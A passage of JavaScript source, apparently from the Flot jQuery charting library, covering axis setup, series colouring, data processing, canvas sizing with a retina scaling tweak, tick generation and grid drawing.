res.left = axis.p2c(pos[key]);
break;
}
}
}
for (i = 0; i < yaxes.length; ++i) {
axis = yaxes[i];
if (axis && axis.used) {
key = "y" + axis.n;
if (pos[key] == null && axis.n == 1)
key = "y";
if (pos[key] != null) {
res.top = axis.p2c(pos[key]);
break;
}
}
}
return res;
}
function getOrCreateAxis(axes, number) {
if (!axes[number - 1])
axes[number - 1] = {
n: number, // save the number for future reference
direction: axes == xaxes ? "x" : "y",
options: $.extend(true, {}, axes == xaxes ? options.xaxis : options.yaxis)
};
return axes[number - 1];
}
function fillInSeriesOptions() {
var i;
// collect what we already got of colors
var neededColors = series.length,
usedColors = [],
assignedColors = [];
for (i = 0; i < series.length; ++i) {
var sc = series[i].color;
if (sc != null) {
--neededColors;
if (typeof sc == "number")
assignedColors.push(sc);
else
usedColors.push($.color.parse(series[i].color));
}
}
// we might need to generate more colors if higher indices
// are assigned
for (i = 0; i < assignedColors.length; ++i) {
neededColors = Math.max(neededColors, assignedColors[i] + 1);
}
// produce colors as needed
var colors = [], variation = 0;
i = 0;
while (colors.length < neededColors) {
var c;
if (options.colors.length == i) // check degenerate case
c = $.color.make(100, 100, 100);
else
c = $.color.parse(options.colors[i]);
// vary color if needed
var sign = variation % 2 == 1 ? -1 : 1;
c.scale('rgb', 1 + sign * Math.ceil(variation / 2) * 0.2)
// FIXME: if we're getting to close to something else,
// we should probably skip this one
colors.push(c);
++i;
if (i >= options.colors.length) {
i = 0;
++variation;
}
}
// fill in the options
var colori = 0, s;
for (i = 0; i < series.length; ++i) {
s = series[i];
// assign colors
if (s.color == null) {
s.color = colors[colori].toString();
++colori;
}
else if (typeof s.color == "number")
s.color = colors[s.color].toString();
// turn on lines automatically in case nothing is set
if (s.lines.show == null) {
var v, show = true;
for (v in s)
if (s[v] && s[v].show) {
show = false;
break;
}
if (show)
s.lines.show = true;
}
// setup axes
s.xaxis = getOrCreateAxis(xaxes, axisNumber(s, "x"));
s.yaxis = getOrCreateAxis(yaxes, axisNumber(s, "y"));
}
}
function processData() {
var topSentry = Number.POSITIVE_INFINITY,
bottomSentry = Number.NEGATIVE_INFINITY,
fakeInfinity = Number.MAX_VALUE,
i, j, k, m, length,
s, points, ps, x, y, axis, val, f, p;
function updateAxis(axis, min, max) {
if (min < axis.datamin && min != -fakeInfinity)
axis.datamin = min;
if (max > axis.datamax && max != fakeInfinity)
axis.datamax = max;
}
$.each(allAxes(), function (_, axis) {
// init axis
axis.datamin = topSentry;
axis.datamax = bottomSentry;
axis.used = false;
});
for (i = 0; i < series.length; ++i) {
s = series[i];
s.datapoints = { points: [] };
executeHooks(hooks.processRawData, [ s, s.data, s.datapoints ]);
}
// first pass: clean and copy data
for (i = 0; i < series.length; ++i) {
s = series[i];
var data = s.data, format = s.datapoints.format;
if (!format) {
format = [];
// find out how to copy
format.push({ x: true, number: true, required: true });
format.push({ y: true, number: true, required: true });
if (s.bars.show || (s.lines.show && s.lines.fill)) {
format.push({ y: true, number: true, required: false, defaultValue: 0 });
if (s.bars.horizontal) {
delete format[format.length - 1].y;
format[format.length - 1].x = true;
}
}
s.datapoints.format = format;
}
if (s.datapoints.pointsize != null)
continue; // already filled in
s.datapoints.pointsize = format.length;
ps = s.datapoints.pointsize;
points = s.datapoints.points;
insertSteps = s.lines.show && s.lines.steps;
s.xaxis.used = s.yaxis.used = true;
for (j = k = 0; j < data.length; ++j, k += ps) {
p = data[j];
var nullify = p == null;
if (!nullify) {
for (m = 0; m < ps; ++m) {
val = p[m];
f = format[m];
if (f) {
if (f.number && val != null) {
val = +val; // convert to number
if (isNaN(val))
val = null;
else if (val == Infinity)
val = fakeInfinity;
else if (val == -Infinity)
val = -fakeInfinity;
}
if (val == null) {
if (f.required)
nullify = true;
if (f.defaultValue != null)
val = f.defaultValue;
}
}
points[k + m] = val;
}
}
if (nullify) {
for (m = 0; m < ps; ++m) {
val = points[k + m];
if (val != null) {
f = format[m];
// extract min/max info
if (f.x)
updateAxis(s.xaxis, val, val);
if (f.y)
updateAxis(s.yaxis, val, val);
}
points[k + m] = null;
}
}
else {
// a little bit of line specific stuff that
// perhaps shouldn't be here, but lacking
// better means...
if (insertSteps && k > 0
&& points[k - ps] != null
&& points[k - ps] != points[k]
&& points[k - ps + 1] != points[k + 1]) {
// copy the point to make room for a middle point
for (m = 0; m < ps; ++m)
points[k + ps + m] = points[k + m];
// middle point has same y
points[k + 1] = points[k - ps + 1];
// we've added a point, better reflect that
k += ps;
}
}
}
}
// give the hooks a chance to run
for (i = 0; i < series.length; ++i) {
s = series[i];
executeHooks(hooks.processDatapoints, [ s, s.datapoints]);
}
// second pass: find datamax/datamin for auto-scaling
for (i = 0; i < series.length; ++i) {
s = series[i];
points = s.datapoints.points,
ps = s.datapoints.pointsize;
var xmin = topSentry, ymin = topSentry,
xmax = bottomSentry, ymax = bottomSentry;
for (j = 0; j < points.length; j += ps) {
if (points[j] == null)
continue;
for (m = 0; m < ps; ++m) {
val = points[j + m];
f = format[m];
if (!f || val == fakeInfinity || val == -fakeInfinity)
continue;
if (f.x) {
if (val < xmin)
xmin = val;
if (val > xmax)
xmax = val;
}
if (f.y) {
if (val < ymin)
ymin = val;
if (val > ymax)
ymax = val;
}
}
}
if (s.bars.show) {
// make sure we got room for the bar on the dancing floor
var delta = s.bars.align == "left" ? 0 : -s.bars.barWidth/2;
if (s.bars.horizontal) {
ymin += delta;
ymax += delta + s.bars.barWidth;
}
else {
xmin += delta;
xmax += delta + s.bars.barWidth;
}
}
updateAxis(s.xaxis, xmin, xmax);
updateAxis(s.yaxis, ymin, ymax);
}
$.each(allAxes(), function (_, axis) {
if (axis.datamin == topSentry)
axis.datamin = null;
if (axis.datamax == bottomSentry)
axis.datamax = null;
});
}
function makeCanvas(skipPositioning, cls) {
var c = document.createElement('canvas');
c.className = cls;
c.width = canvasWidth;
c.height = canvasHeight;
if (!skipPositioning)
$(c).css({ position: 'absolute', left: 0, top: 0 });
$(c).appendTo(placeholder);
if(myRetinaMdo) {
c.width = canvasWidth * 2;
c.height = canvasHeight * 2;
c.style.width = '' + canvasWidth + 'px';
c.style.height = '' + canvasHeight + 'px';
}
if (!c.getContext) // excanvas hack
c = window.G_vmlCanvasManager.initElement(c);
// used for resetting in case we get replotted
c.getContext("2d").save();
if (myRetinaMdo) {
c.getContext("2d").scale(2,2);
}
return c;
}
function getCanvasDimensions() {
canvasWidth = placeholder.width();
canvasHeight = placeholder.height();
if (canvasWidth <= 0 || canvasHeight <= 0)
throw "Invalid dimensions for plot, width = " + canvasWidth + ", height = " + canvasHeight;
}
function resizeCanvas(c) {
// resizing should reset the state (excanvas seems to be
// buggy though)
if (c.width != canvasWidth) {
c.width = canvasWidth;
if(myRetinaMdo) {
c.width = canvasWidth * 2;
}
c.style.width = '' + canvasWidth + 'px';
}
if (c.height != canvasHeight) {
c.height = canvasHeight;
if(myRetinaMdo) {
c.height = canvasHeight * 2;
}
c.style.height = '' + canvasHeight + 'px';
}
// so try to get back to the initial state (even if it's
// gone now, this should be safe according to the spec)
var cctx = c.getContext("2d");
cctx.restore();
// and save again
cctx.save();
if(myRetinaMdo) {
cctx.scale(2, 2);
}
}
function setupCanvases() {
var reused,
existingCanvas = placeholder.children("canvas.base"),
existingOverlay = placeholder.children("canvas.overlay");
if (existingCanvas.length == 0 || existingOverlay == 0) {
// init everything
placeholder.html(""); // make sure placeholder is clear
placeholder.css({ padding: 0 }); // padding messes up the positioning
if (placeholder.css("position") == 'static')
placeholder.css("position", "relative"); // for positioning labels and overlay
getCanvasDimensions();
canvas = makeCanvas(true, "base");
overlay = makeCanvas(false, "overlay"); // overlay canvas for interactive features
reused = false;
}
else {
// reuse existing elements
canvas = existingCanvas.get(0);
overlay = existingOverlay.get(0);
reused = true;
}
ctx = canvas.getContext("2d");
octx = overlay.getContext("2d");
// we include the canvas in the event holder too, because IE 7
// sometimes has trouble with the stacking order
eventHolder = $([overlay, canvas]);
if (reused) {
// run shutdown in the old plot object
placeholder.data("plot").shutdown();
// reset reused canvases
plot.resize();
// make sure overlay pixels are cleared (canvas is cleared when we redraw)
octx.clearRect(0, 0, canvasWidth, canvasHeight);
// then whack any remaining obvious garbage left
eventHolder.unbind();
placeholder.children().not([canvas, overlay]).remove();
}
// save in case we get replotted
placeholder.data("plot", plot);
}
function bindEvents() {
// bind events
if (options.grid.hoverable) {
eventHolder.mousemove(onMouseMove);
eventHolder.mouseleave(onMouseLeave);
}
if (options.grid.clickable)
eventHolder.click(onClick);
executeHooks(hooks.bindEvents, [eventHolder]);
}
function shutdown() {
if (redrawTimeout)
clearTimeout(redrawTimeout);
eventHolder.unbind("mousemove", onMouseMove);
eventHolder.unbind("mouseleave", onMouseLeave);
eventHolder.unbind("click", onClick);
executeHooks(hooks.shutdown, [eventHolder]);
}
function setTransformationHelpers(axis) {
// set helper functions on the axis, assumes plot area
// has been computed already
function identity(x) { return x; }
var s, m, t = axis.options.transform || identity,
it = axis.options.inverseTransform;
// precompute how much the axis is scaling a point
// in canvas space
if (axis.direction == "x") {
s = axis.scale = plotWidth / Math.abs(t(axis.max) - t(axis.min));
m = Math.min(t(axis.max), t(axis.min));
}
else {
s = axis.scale = plotHeight / Math.abs(t(axis.max) - t(axis.min));
s = -s;
m = Math.max(t(axis.max), t(axis.min));
}
// data point to canvas coordinate
if (t == identity) // slight optimization
axis.p2c = function (p) { return (p - m) * s; };
else
axis.p2c = function (p) { return (t(p) - m) * s; };
// canvas coordinate to data point
if (!it)
axis.c2p = function (c) { return m + c / s; };
else
axis.c2p = function (c) { return it(m + c / s); };
}
function measureTickLabels(axis) {
var opts = axis.options, i, ticks = axis.ticks || [], labels = [],
l, w = opts.labelWidth, h = opts.labelHeight, dummyDiv;
function makeDummyDiv(labels, width) {
return $('<div style="position:absolute;top:-10000px;' + width + 'font-size:smaller">' +
'<div class="' + axis.direction + 'Axis ' + axis.direction + axis.n + 'Axis">'
+ labels.join("") + '</div></div>')
.appendTo(placeholder);
}
if (axis.direction == "x") {
// to avoid measuring the widths of the labels (it's slow), we
// construct fixed-size boxes and put the labels inside
// them, we don't need the exact figures and the
// fixed-size box content is easy to center
if (w == null)
w = Math.floor(canvasWidth / (ticks.length > 0 ? ticks.length : 1));
// measure x label heights
if (h == null) {
labels = [];
for (i = 0; i < ticks.length; ++i) {
l = ticks[i].label;
if (l)
labels.push('<div class="tickLabel" style="float:left;width:' + w + 'px">' + l + '</div>');
}
if (labels.length > 0) {
// stick them all in the same div and measure
// collective height
labels.push('<div style="clear:left"></div>');
dummyDiv = makeDummyDiv(labels, "width:10000px;");
h = dummyDiv.height();
dummyDiv.remove();
}
}
}
else if (w == null || h == null) {
// calculate y label dimensions
for (i = 0; i < ticks.length; ++i) {
l = ticks[i].label;
if (l)
labels.push('<div class="tickLabel">' + l + '</div>');
}
if (labels.length > 0) {
dummyDiv = makeDummyDiv(labels, "");
if (w == null)
w = dummyDiv.children().width();
if (h == null)
h = dummyDiv.find("div.tickLabel").height();
dummyDiv.remove();
}
}
if (w == null)
w = 0;
if (h == null)
h = 0;
axis.labelWidth = w;
axis.labelHeight = h;
}
function allocateAxisBoxFirstPhase(axis) {
// find the bounding box of the axis by looking at label
// widths/heights and ticks, make room by diminishing the
// plotOffset
var lw = axis.labelWidth,
lh = axis.labelHeight,
pos = axis.options.position,
tickLength = axis.options.tickLength,
axismargin = options.grid.axisMargin,
padding = options.grid.labelMargin,
all = axis.direction == "x" ? xaxes : yaxes,
index;
// determine axis margin
var samePosition = $.grep(all, function (a) {
return a && a.options.position == pos && a.reserveSpace;
});
if ($.inArray(axis, samePosition) == samePosition.length - 1)
axismargin = 0; // outermost
// determine tick length - if we're innermost, we can use "full"
if (tickLength == null)
tickLength = "full";
var sameDirection = $.grep(all, function (a) {
return a && a.reserveSpace;
});
var innermost = $.inArray(axis, sameDirection) == 0;
if (!innermost && tickLength == "full")
tickLength = 5;
if (!isNaN(+tickLength))
padding += +tickLength;
// compute box
if (axis.direction == "x") {
lh += padding;
if (pos == "bottom") {
plotOffset.bottom += lh + axismargin;
axis.box = { top: canvasHeight - plotOffset.bottom, height: lh };
}
else {
axis.box = { top: plotOffset.top + axismargin, height: lh };
plotOffset.top += lh + axismargin;
}
}
else {
lw += padding;
if (pos == "left") {
axis.box = { left: plotOffset.left + axismargin, width: lw };
plotOffset.left += lw + axismargin;
}
else {
plotOffset.right += lw + axismargin;
axis.box = { left: canvasWidth - plotOffset.right, width: lw };
}
}
// save for future reference
axis.position = pos;
axis.tickLength = tickLength;
axis.box.padding = padding;
axis.innermost = innermost;
}
function allocateAxisBoxSecondPhase(axis) {
// set remaining bounding box coordinates
if (axis.direction == "x") {
axis.box.left = plotOffset.left;
axis.box.width = plotWidth;
}
else {
axis.box.top = plotOffset.top;
axis.box.height = plotHeight;
}
}
function setupGrid() {
var i, axes = allAxes();
// first calculate the plot and axis box dimensions
$.each(axes, function (_, axis) {
axis.show = axis.options.show;
if (axis.show == null)
axis.show = axis.used; // by default an axis is visible if it's got data
axis.reserveSpace = axis.show || axis.options.reserveSpace;
setRange(axis);
});
allocatedAxes = $.grep(axes, function (axis) { return axis.reserveSpace; });
plotOffset.left = plotOffset.right = plotOffset.top = plotOffset.bottom = 0;
if (options.grid.show) {
$.each(allocatedAxes, function (_, axis) {
// make the ticks
setupTickGeneration(axis);
setTicks(axis);
snapRangeToTicks(axis, axis.ticks);
// find labelWidth/Height for axis
measureTickLabels(axis);
});
// with all dimensions in house, we can compute the
// axis boxes, start from the outside (reverse order)
for (i = allocatedAxes.length - 1; i >= 0; --i)
allocateAxisBoxFirstPhase(allocatedAxes[i]);
// make sure we've got enough space for things that
// might stick out
var minMargin = options.grid.minBorderMargin;
if (minMargin == null) {
minMargin = 0;
for (i = 0; i < series.length; ++i)
minMargin = Math.max(minMargin, series[i].points.radius + series[i].points.lineWidth/2);
}
for (var a in plotOffset) {
plotOffset[a] += options.grid.borderWidth;
plotOffset[a] = Math.max(minMargin, plotOffset[a]);
}
}
plotWidth = canvasWidth - plotOffset.left - plotOffset.right;
plotHeight = canvasHeight - plotOffset.bottom - plotOffset.top;
// now we got the proper plotWidth/Height, we can compute the scaling
$.each(axes, function (_, axis) {
setTransformationHelpers(axis);
});
if (options.grid.show) {
$.each(allocatedAxes, function (_, axis) {
allocateAxisBoxSecondPhase(axis);
});
insertAxisLabels();
}
insertLegend();
}
function setRange(axis) {
var opts = axis.options,
min = +(opts.min != null ? opts.min : axis.datamin),
max = +(opts.max != null ? opts.max : axis.datamax),
delta = max - min;
if (delta == 0.0) {
// degenerate case
var widen = max == 0 ? 1 : 0.01;
if (opts.min == null)
min -= widen;
// always widen max if we couldn't widen min to ensure we
// don't fall into min == max which doesn't work
if (opts.max == null || opts.min != null)
max += widen;
}
else {
// consider autoscaling
var margin = opts.autoscaleMargin;
if (margin != null) {
if (opts.min == null) {
min -= delta * margin;
// make sure we don't go below zero if all values
// are positive
if (min < 0 && axis.datamin != null && axis.datamin >= 0)
min = 0;
}
if (opts.max == null) {
max += delta * margin;
if (max > 0 && axis.datamax != null && axis.datamax <= 0)
max = 0;
}
}
}
axis.min = min;
axis.max = max;
}
function setupTickGeneration(axis) {
var opts = axis.options;
// estimate number of ticks
var noTicks;
if (typeof opts.ticks == "number" && opts.ticks > 0)
noTicks = opts.ticks;
else
// heuristic based on the model a*sqrt(x) fitted to
// some data points that seemed reasonable
noTicks = 0.3 * Math.sqrt(axis.direction == "x" ? canvasWidth : canvasHeight);
var delta = (axis.max - axis.min) / noTicks,
size, generator, unit, formatter, i, magn, norm;
if (opts.mode == "time") {
// pretty handling of time
// map of app. size of time units in milliseconds
var timeUnitSize = {
"second": 1000,
"minute": 60 * 1000,
"hour": 60 * 60 * 1000,
"day": 24 * 60 * 60 * 1000,
"month": 30 * 24 * 60 * 60 * 1000,
"year": 365.2425 * 24 * 60 * 60 * 1000
};
// the allowed tick sizes, after 1 year we use
// an integer algorithm
var spec = [
[1, "second"], [2, "second"], [5, "second"], [10, "second"],
[30, "second"],
[1, "minute"], [2, "minute"], [5, "minute"], [10, "minute"],
[30, "minute"],
[1, "hour"], [2, "hour"], [4, "hour"],
[8, "hour"], [12, "hour"],
[1, "day"], [2, "day"], [3, "day"],
[0.25, "month"], [0.5, "month"], [1, "month"],
[2, "month"], [3, "month"], [6, "month"],
[1, "year"]
];
var minSize = 0;
if (opts.minTickSize != null) {
if (typeof opts.tickSize == "number")
minSize = opts.tickSize;
else
minSize = opts.minTickSize[0] * timeUnitSize[opts.minTickSize[1]];
}
for (var i = 0; i < spec.length - 1; ++i)
if (delta < (spec[i][0] * timeUnitSize[spec[i][1]]
+ spec[i + 1][0] * timeUnitSize[spec[i + 1][1]]) / 2
&& spec[i][0] * timeUnitSize[spec[i][1]] >= minSize)
break;
size = spec[i][0];
unit = spec[i][1];
// special-case the possibility of several years
if (unit == "year") {
magn = Math.pow(10, Math.floor(Math.log(delta / timeUnitSize.year) / Math.LN10));
norm = (delta / timeUnitSize.year) / magn;
if (norm < 1.5)
size = 1;
else if (norm < 3)
size = 2;
else if (norm < 7.5)
size = 5;
else
size = 10;
size *= magn;
}
axis.tickSize = opts.tickSize || [size, unit];
generator = function(axis) {
var ticks = [],
tickSize = axis.tickSize[0], unit = axis.tickSize[1],
d = new Date(axis.min);
var step = tickSize * timeUnitSize[unit];
if (unit == "second")
d.setUTCSeconds(floorInBase(d.getUTCSeconds(), tickSize));
if (unit == "minute")
d.setUTCMinutes(floorInBase(d.getUTCMinutes(), tickSize));
if (unit == "hour")
d.setUTCHours(floorInBase(d.getUTCHours(), tickSize));
if (unit == "month")
d.setUTCMonth(floorInBase(d.getUTCMonth(), tickSize));
if (unit == "year")
d.setUTCFullYear(floorInBase(d.getUTCFullYear(), tickSize));
// reset smaller components
d.setUTCMilliseconds(0);
if (step >= timeUnitSize.minute)
d.setUTCSeconds(0);
if (step >= timeUnitSize.hour)
d.setUTCMinutes(0);
if (step >= timeUnitSize.day)
d.setUTCHours(0);
if (step >= timeUnitSize.day * 4)
d.setUTCDate(1);
if (step >= timeUnitSize.year)
d.setUTCMonth(0);
var carry = 0, v = Number.NaN, prev;
do {
prev = v;
v = d.getTime();
ticks.push(v);
if (unit == "month") {
if (tickSize < 1) {
// a bit complicated - we'll divide the month
// up but we need to take care of fractions
// so we don't end up in the middle of a day
d.setUTCDate(1);
var start = d.getTime();
d.setUTCMonth(d.getUTCMonth() + 1);
var end = d.getTime();
d.setTime(v + carry * timeUnitSize.hour + (end - start) * tickSize);
carry = d.getUTCHours();
d.setUTCHours(0);
}
else
d.setUTCMonth(d.getUTCMonth() + tickSize);
}
else if (unit == "year") {
d.setUTCFullYear(d.getUTCFullYear() + tickSize);
}
else
d.setTime(v + step);
} while (v < axis.max && v != prev);
return ticks;
};
formatter = function (v, axis) {
var d = new Date(v);
// first check global format
if (opts.timeformat != null)
return $.plot.formatDate(d, opts.timeformat, opts.monthNames);
var t = axis.tickSize[0] * timeUnitSize[axis.tickSize[1]];
var span = axis.max - axis.min;
var suffix = (opts.twelveHourClock) ? " %p" : "";
if (t < timeUnitSize.minute)
fmt = "%h:%M:%S" + suffix;
else if (t < timeUnitSize.day) {
if (span < 2 * timeUnitSize.day)
fmt = "%h:%M" + suffix;
else
fmt = "%b %d %h:%M" + suffix;
}
else if (t < timeUnitSize.month)
fmt = "%b %d";
else if (t < timeUnitSize.year) {
if (span < timeUnitSize.year)
fmt = "%b";
else
fmt = "%b %y";
}
else
fmt = "%y";
return $.plot.formatDate(d, fmt, opts.monthNames);
};
}
else {
// pretty rounding of base-10 numbers
var maxDec = opts.tickDecimals;
var dec = -Math.floor(Math.log(delta) / Math.LN10);
if (maxDec != null && dec > maxDec)
dec = maxDec;
magn = Math.pow(10, -dec);
norm = delta / magn; // norm is between 1.0 and 10.0
if (norm < 1.5)
size = 1;
else if (norm < 3) {
size = 2;
// special case for 2.5, requires an extra decimal
if (norm > 2.25 && (maxDec == null || dec + 1 <= maxDec)) {
size = 2.5;
++dec;
}
}
else if (norm < 7.5)
size = 5;
else
size = 10;
size *= magn;
if (opts.minTickSize != null && size < opts.minTickSize)
size = opts.minTickSize;
axis.tickDecimals = Math.max(0, maxDec != null ? maxDec : dec);
axis.tickSize = opts.tickSize || size;
generator = function (axis) {
var ticks = [];
// spew out all possible ticks
var start = floorInBase(axis.min, axis.tickSize),
i = 0, v = Number.NaN, prev;
do {
prev = v;
v = start + i * axis.tickSize;
ticks.push(v);
++i;
} while (v < axis.max && v != prev);
return ticks;
};
formatter = function (v, axis) {
return v.toFixed(axis.tickDecimals);
};
}
if (opts.alignTicksWithAxis != null) {
var otherAxis = (axis.direction == "x" ? xaxes : yaxes)[opts.alignTicksWithAxis - 1];
if (otherAxis && otherAxis.used && otherAxis != axis) {
// consider snapping min/max to outermost nice ticks
var niceTicks = generator(axis);
if (niceTicks.length > 0) {
if (opts.min == null)
axis.min = Math.min(axis.min, niceTicks[0]);
if (opts.max == null && niceTicks.length > 1)
axis.max = Math.max(axis.max, niceTicks[niceTicks.length - 1]);
}
generator = function (axis) {
// copy ticks, scaled to this axis
var ticks = [], v, i;
for (i = 0; i < otherAxis.ticks.length; ++i) {
v = (otherAxis.ticks[i].v - otherAxis.min) / (otherAxis.max - otherAxis.min);
v = axis.min + v * (axis.max - axis.min);
ticks.push(v);
}
return ticks;
};
// we might need an extra decimal since forced
// ticks don't necessarily fit naturally
if (axis.mode != "time" && opts.tickDecimals == null) {
var extraDec = Math.max(0, -Math.floor(Math.log(delta) / Math.LN10) + 1),
ts = generator(axis);
// only proceed if the tick interval rounded
// with an extra decimal doesn't give us a
// zero at end
if (!(ts.length > 1 && /\..*0$/.test((ts[1] - ts[0]).toFixed(extraDec))))
axis.tickDecimals = extraDec;
}
}
}
axis.tickGenerator = generator;
if ($.isFunction(opts.tickFormatter))
axis.tickFormatter = function (v, axis) { return "" + opts.tickFormatter(v, axis); };
else
axis.tickFormatter = formatter;
}
function setTicks(axis) {
var oticks = axis.options.ticks, ticks = [];
if (oticks == null || (typeof oticks == "number" && oticks > 0))
ticks = axis.tickGenerator(axis);
else if (oticks) {
if ($.isFunction(oticks))
// generate the ticks
ticks = oticks({ min: axis.min, max: axis.max });
else
ticks = oticks;
}
// clean up/labelify the supplied ticks, copy them over
var i, v;
axis.ticks = [];
for (i = 0; i < ticks.length; ++i) {
var label = null;
var t = ticks[i];
if (typeof t == "object") {
v = +t[0];
if (t.length > 1)
label = t[1];
}
else
v = +t;
if (label == null)
label = axis.tickFormatter(v, axis);
if (!isNaN(v))
axis.ticks.push({ v: v, label: label });
}
}
function snapRangeToTicks(axis, ticks) {
if (axis.options.autoscaleMargin && ticks.length > 0) {
// snap to ticks
if (axis.options.min == null)
axis.min = Math.min(axis.min, ticks[0].v);
if (axis.options.max == null && ticks.length > 1)
axis.max = Math.max(axis.max, ticks[ticks.length - 1].v);
}
}
function draw() {
ctx.clearRect(0, 0, canvasWidth, canvasHeight);
var grid = options.grid;
// draw background, if any
if (grid.show && grid.backgroundColor)
drawBackground();
if (grid.show && !grid.aboveData)
drawGrid();
for (var i = 0; i < series.length; ++i) {
executeHooks(hooks.drawSeries, [ctx, series[i]]);
drawSeries(series[i]);
}
executeHooks(hooks.draw, [ctx]);
if (grid.show && grid.aboveData)
drawGrid();
}
function extractRange(ranges, coord) {
var axis, from, to, key, axes = allAxes();
for (i = 0; i < axes.length; ++i) {
axis = axes[i];
if (axis.direction == coord) {
key = coord + axis.n + "axis";
if (!ranges[key] && axis.n == 1)
key = coord + "axis"; // support x1axis as xaxis
if (ranges[key]) {
from = ranges[key].from;
to = ranges[key].to;
break;
}
}
}
// backwards-compat stuff - to be removed in future
if (!ranges[key]) {
axis = coord == "x" ? xaxes[0] : yaxes[0];
from = ranges[coord + "1"];
to = ranges[coord + "2"];
}
// auto-reverse as an added bonus
if (from != null && to != null && from > to) {
var tmp = from;
from = to;
to = tmp;
}
return { from: from, to: to, axis: axis };
}
function drawBackground() {
ctx.save();
ctx.translate(plotOffset.left, plotOffset.top);
ctx.fillStyle = getColorOrGradient(options.grid.backgroundColor, plotHeight, 0, "rgba(255, 255, 255, 0)");
ctx.fillRect(0, 0, plotWidth, plotHeight);
ctx.restore();
}
function drawGrid() {
var i;
ctx.save();
ctx.translate(plotOffset.left, plotOffset.top);
// draw markings
var markings = options.grid.markings;
if (markings) {
if ($.isFunction(markings)) {
var axes = plot.getAxes();
// xmin etc. is backwards compatibility, to be
// removed in the future
axes.xmin = axes.xaxis.min;
axes.xmax = axes.xaxis.max;
axes.ymin = axes.yaxis.min;
axes.ymax = axes.yaxis.max;
markings = markings(axes);
}
for (i = 0; i < markings.length; ++i) {
var m = markings[i],
xrange = extractRange(m, "x"),
yrange = extractRange(m, "y");
// fill in missing
if (xrange.from == null)
xrange.from = xrange.axis.min;
if (xrange.to == null)
xrange.to = xrange.axis.max;
if (yrange.from == null)
yrange.from = yrange.axis.min;
if (yrange.to == null)
yrange.to = yrange.axis.max;
// clip
if (xrange.to < xrange.axis.min || xrange.from > xrange.axis.max ||
yrange.to < yrange.axis.min || yrange.from > yrange.axis.max)
continue;
xrange.from = Math.max(xrange.from, xrange.axis.min);
xrange.to = Math.min(xrange.to, xrange.axis.max);
yrange.from = Math.max(yrange.from, yrange.axis.min);
yrange.to = Math.min(yrange.to, yrange.axis.max);
if (xrange.from == xrange.to && yrange.from == yrange.to)
continue;
// then draw
xrange.from = xrange.axis.p2c(xrange.from);
xrange.to = xrange.axis.p2c(xrange.to);
yrange.from = yrange.axis.p2c(yrange.from);
yrange.to = yrange.axis.p2c(yrange.to);
if (xrange.from == xrange.to || yrange.from == yrange.to) {
// draw line
ctx.beginPath();
ctx.strokeStyle = m.color || options.grid.markingsColor;
ctx.lineWidth = m.lineWidth || options.grid.markingsLineWidth;
ctx.moveTo(xrange.from, yrange.from);
ctx.lineTo(xrange.to, yrange.to);
ctx.stroke();
}
else {
// fill area
ctx.fillStyle = m.color || options.grid.markingsColor;
ctx.fillRect(xrange.from, yrange.to,
xrange.to - xrange.from,
yrange.from - yrange.to);
}
}
}
// draw the ticks
var axes = allAxes(), bw = options.grid.borderWidth;
for (var j = 0; j < axes.length; ++j) {
var axis = axes[j], box = axis.box,
t = axis.tickLength, x, y, xoff, yoff;
if (!axis.show || axis.ticks.length == 0)
continue
ctx.strokeStyle = axis.options.tickColor || $.color.parse(axis.options.color).scale('a', 0.22).toString();
ctx.lineWidth = 1;
// find the edges
if (axis.direction == "x") {
x = 0;
if (t == "full")
y = (axis.position == "top" ? 0 : plotHeight);
else
y = box.top - plotOffset.top + (axis.position == "top" ? box.height : 0);
}
else {
y = 0;
if (t == "full")
x = (axis.position == "left" ? 0 : plotWidth);
else
x = box.left - plotOffset.left + (axis.position == "left" ? box.width : 0);
}
// draw tick bar
if (!axis.innermost) {
ctx.beginPath();
xoff = yoff = 0;
if (axis.direction == "x")
xoff = plotWidth;
else
yoff = plotHeight;
if (ctx.lineWidth == 1) {
x = Math.floor(x) + 0.5;
y = Math.floor(y) + 0.5;
}
ctx.moveTo(x, y);
ctx.lineTo(x + xoff, y + yoff);
ctx.stroke();
}
// draw ticks
ctx.beginPath();
for (i = 0; i < axis.ticks.length; ++i) {
var v = axis.ticks[i].v;
xoff = yoff = 0;
if (v < axis.min || v > axis.max
// skip those lying on the axes if we got a border
|| (t == "full" && bw > 0
&& (v == axis.min || v == axis.max)))
continue;
if (axis.direction == "x") {
x = axis.p2c(v);
yoff = t == "full" ? -plotHeight : t;
if (axis.position == "top")
yoff = -yoff;
}
else {
y = axis.p2c(v);
xoff = t == "full" ? -plotWidth : t;
if (axis.position == "left")
xoff = -xoff;
}
if (ctx.lineWidth == 1) {
if (axis.direction == "x")
x = Math.floor(x) + 0.5;
else
y = Math.floor(y) + 0.5;
}
ctx.moveTo(x, y);
ctx.lineTo(x + xoff, y + yoff);
}
ctx.stroke();
}
// draw border
if (bw) {
ctx.lineWidth = bw;
ctx.strokeStyle = options.grid.borderColor;
ctx.strokeRect(-bw/2, -bw/2, plotWidth + bw, plotHeight + bw);
}
ctx.restore();
}
function insertAxisLabels() {
placeholder.find(".tickLabels").remove();
var html = ['<div class="tickLabels" style="font-size:smaller">'];
var axes = allAxes();
for (var j = 0; j < axes.length; ++j) {
var axis = axes[j], box = axis.box;
if (!axis.show)
continue;
//debug: html.push('<div style="position:absolute;opacity:0.10;background-color:red;left:' + box.left + 'px;top:' + box.top + 'px;width:' + box.width + 'px;height:' + box.height + 'px"></div>')
html.push('<div class="' + axis.direction + 'Axis ' + axis.direction + axis.n + 'Axis" style="color:' + axis.options.color + '">');
for (var i = 0; i < axis.ticks.length; ++i) {
var tick = axis.ticks[i];
if (!tick.label || tick.v < axis.min || tick.v > axis.max)
continue;
var pos = {}, align;
if (axis.direction == "x") {
align = "center";
pos.left = Math.round(plotOffset.left + axis.p2c(tick.v) - axis.labelWidth/2);
if (axis.position == "bottom")
pos.top = box.top + box.padding;
else
pos.bottom = canvasHeight - (box.top + box.height - box.padding);
}
else {
pos.top = Math.round(plotOffset.top + axis.p2c(tick.v) - axis.labelHeight/2);
if (axis.position == "left") {
pos.right = canvasWidth - (box.left + box.width - box.padding)
align = "right";
}
else {
pos.left = box.left + box.padding;
align = "left";
}
}
pos.width = axis.labelWidth;
var style = ["position:absolute", "text-align:" + align ];
for (var a in pos)
style.push(a + ":" + pos[a] + "px")
html.push('<div class="tickLabel" style="' + style.join(';') + '">' + tick.label + '</div>');
}
html.push('</div>');
}
html.push('</div>');
placeholder.append(html.join(""));
}
function drawSeries(series) {
if (series.lines.show)
drawSeriesLines(series);
if (series.bars.show)
drawSeriesBars(series);
if (series.points.show)
drawSeriesPoints(series);
}
